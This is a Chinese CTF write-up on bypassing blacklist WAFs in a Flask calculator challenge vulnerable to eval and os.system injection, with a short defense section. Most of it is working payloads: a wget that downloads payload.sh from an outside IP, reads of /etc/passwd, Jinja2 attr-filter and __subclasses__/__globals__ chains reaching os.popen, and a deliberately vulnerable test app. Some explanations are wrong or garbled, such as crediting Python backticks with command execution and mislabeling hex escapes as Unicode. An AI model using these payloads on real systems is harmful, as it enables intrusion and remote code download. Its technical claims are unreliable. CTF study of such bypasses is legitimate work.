Flask SSTI 与命令执行绕过5 种 WAF 绕过技巧实战解析在 CTF Web 题目中Flask 框架下的服务端模板注入SSTI与命令执行漏洞是常见考点。本文将基于 DASCTF calc 题目深入分析 Flask/Jinja2 环境下常见的 5 种 WAF 绕过手法帮助安全研究人员构建应对严格过滤的通用解题思路。1. 环境准备与漏洞分析首先我们需要理解题目环境的基本架构。题目提供了一个简单的 Flask 计算器应用核心代码如下app.route(/calc,methods[GET]) def calc(): ip request.remote_addr num request.values.get(num) log echo {0} {1} {2} ./tmp/log.txt.format(time.strftime(%Y%m%d-%H%M%S),ip,num) if waf(num): try: data eval(num) os.system(log) except: pass return str(data) else: return waf!!WAF 过滤函数如下def waf(s): blacklist [import,(,), ,_,|,;,,{,},,getattr,os,system,class,subclasses,mro,request,args,eval,if,subprocess,file,open,popen,builtins,compile,execfile,from_pyfile,config,local,self,item,getitem,getattribute,func_globals,__init__,join,__dict__] flag True for no in blacklist: if no.lower() in s.lower(): flag False print(no) break return flag从代码中可以看出漏洞点在于eval(num)和os.system(log)两个位置但 WAF 过滤非常严格几乎封堵了所有常见的注入方式。2. 注释与反引号绕过原始解法利用了注释和反引号绕过 WAF/calc?num1%23wget%09-P%09/tmp/%09124.222.136.33:1338/payload.sh这种方法的巧妙之处在于%23是 URL 编码的#将后续内容变为注释绕过eval部分的执行反引号在 Python 中会执行其中的命令并返回结果%09是制表符的 URL 编码替代空格绕过过滤关键点注释可以截断 eval 执行而反引号中的命令会被 os.system 执行且制表符可以替代空格。3. Unicode 编码绕过当特殊字符被过滤时Unicode 编码是一种有效的绕过方式。例如空格可以用%20、%09(制表符)、%0a(换行符)等替代点号.可以用\u002e替代下划线_可以用\u005f替代示例 payload/calc?num1%23cat\u0020/etc/passwd绕过原理WAF 通常只检查 ASCII 字符Unicode 编码可以绕过基于字符串匹配的过滤。4. 属性/方法链调用绕过当直接访问敏感属性被禁止时可以通过链式调用间接访问.__class__.__base__.__subclasses__()[140].__init__.__globals__[sys].modules[os].system(id)分解步骤.__class__获取字符串类.__base__获取基类(object).__subclasses__()获取所有子类找到包含os模块的子类(通常是_wrap_close)通过__globals__访问全局变量最终调用system方法查找技巧不同环境下子类索引可能不同需要本地测试确定正确索引。5. 过滤器拼接绕过Jinja2 的过滤器可以用于拼接字符串和调用函数{{request|attr(application)|attr(\x5f\x5fglobals\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fbuiltins\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fimport\x5f\x5f)(os)|attr(popen)(id)|attr(read)()}}关键过滤器|attr(): 等同于 Python 的.属性访问|join(): 拼接列表为字符串|format(): 字符串格式化优势完全不需要使用点号、下划线和括号通过过滤器实现方法调用。6. 内省函数利用Python 的内省函数如dir()、locals()、globals()可以帮助我们探索可用对象{{|attr(\x5f\x5fclass\x5f\x5f)|attr(\x5f\x5fbase\x5f\x5f)|attr(\x5f\x5fsubclasses\x5f\x5f)()}}通过内省可以列出对象所有属性和方法发现未被过滤的敏感函数构建调用链绕过限制实用技巧结合|join(,)可以更清晰地查看返回结果。7. WAF 规则与绕过技巧对应表下表总结了常见 WAF 规则及对应的绕过方法WAF 过滤规则绕过技巧示例空格过滤Unicode 编码、制表符、换行符%09,%0a,%20点号过滤attr() 过滤器或 Unicode 编码下划线过滤Unicode 编码或十六进制表示\x5f\x5fclass\x5f\x5f括号过滤使用 Jinja2 控制结构{% if ... %}...{% endif %}关键词过滤字符串拼接或编码__class__,\x5f\x5fclass\x5f\x5f8. 实战环境搭建与测试为了验证这些绕过技巧我们可以搭建本地测试环境from flask import Flask, request app Flask(__name__) app.route(/vuln) def vuln(): payload request.args.get(payload, ) if not any(bad in payload.lower() for bad in [import, os, system, subprocess]): return eval(payload) return Blocked by WAF if __name__ __main__: app.run(debugTrue)测试 payload/vuln?payload__import__(os).system(id) /vuln?payload__import__(\x6f\x73).system(id) # Unicode 编码绕过 /vuln?payloadgetattr(__import__(builtins),eval)(__import__(os).system(id)) # 反射调用9. 防御建议针对 SSTI 和命令注入漏洞建议采取以下防护措施输入验证严格限制用户输入的内容类型使用白名单而非黑名单机制安全配置禁用危险的 Python 内置函数限制 Jinja2 的可用过滤器和全局变量沙箱环境from RestrictedPython import compile_restricted code compile_restricted(payload, string, eval) eval(code)日志监控记录所有可疑的输入尝试设置异常行为告警机制10. 总结与进阶思考Flask SSTI 和命令执行绕过的核心在于理解 Python 的对象模型和 Jinja2 的模板渲染机制。通过本文介绍的 5 种方法可以应对大多数 WAF 限制场景。在实际 CTF 比赛中还需要结合题目具体环境灵活变通例如利用环境变量泄露敏感信息通过文件读写操作获取 flag结合其他漏洞如反序列化进行利用最后需要强调的是这些技术仅用于合法安全研究和 CTF 比赛在实际应用中发现漏洞应及时报告而非利用。